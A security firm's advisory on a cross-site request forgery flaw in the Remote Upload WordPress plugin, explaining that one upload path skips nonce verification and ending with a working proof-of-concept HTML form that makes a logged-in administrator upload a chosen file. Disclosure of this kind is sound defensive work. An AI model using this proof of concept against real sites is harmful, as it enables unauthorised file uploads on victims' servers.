Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Remote Upload
For our data set of vulnerabilities we don’t just add any claimed vulnerability, instead we test out each vulnerability before adding it. That requires a lot more time, but it produces much better data for our customers as we find that many vulnerability reports are false, others have incorrect information (including claims that a vulnerability has been fixed when it hasn’t), and we can tell them which versions are vulnerable.
In some cases we find that vulnerability report is false but actually point to real related issue. One such case we just ran into involved a claim that the plugin Remote Upload had an arbitrary file upload vulnerability in version 1.2.1 and below. The problem with this report is that file upload capability of the plugin is limited to Administrator level users and it isn’t really a vulnerability for them to upload arbitrary files based on the capabilities they are granted.
The plugin is described as allowing the upload of “zip, rar, flv, mp3, mp4, png, gif, jpeg, and pdf files”, so it could have been a bug to not restrict what type of uploads are allowed.
Based on that, that wouldn’t be something we would include in our data. But we thought we should check over the plugin to make sure that there wasn’t something in the code that could have been combined with that to turn this into to a vulnerability.
The plugin handles uploads through the function remote_upload_json(). That functions check to make sure that only Administrator level users are able to access it by checking if the user accessing it has the activate_plugins capability.
63 64 65 | if ( !current_user_can( 'activate_plugins' ) ) { wp_die( __( 'You do not have sufficient permissions to access this page.' ) ); } |
So that would prevent anyone not logged in or logged in as a lower level user from accessing it.
That still leaves the possibility of cross-site request forgery (CSRF) though and that is were we found a vulnerability.
In the first section of code in that function a valid nonce is checked for before running going forward:
68 69 70 71 | if(isset($_POST['file_urls']) && ($_POST['file_urls'] != null)){ $nonce = $_REQUEST['_wpnonce']; if ( wp_verify_nonce( $nonce, 'remote-upload-nonce')): |
The second section of code, which handles that the upload does not:
108 109 110 | if(isset($_GET['post_file']) && ($_GET['post_file'] == 'true')){ function is_session_started_for_upload(){ |
That means that through cross-site request forgery (CSRF) an attacker could cause an admin to upload files to the website. Before the changes in version 1.2.2, arbitrary files could have been uploaded, so fixing that bug for file restriction made the severity of the cross-site request forgery (CSRF) portion of the much lower.
Proof of Concept
The following proof of concept will cause the chosen file to be uploaded to standard upload directory on the website, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[file location]” with the location of the file you wish to upload.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=remote-upload&post_file=true" method="POST"> <input type="hidden" name="file_urls" value="[file location]" /> <input type="submit" value="Submit" /> </form> </body> </html>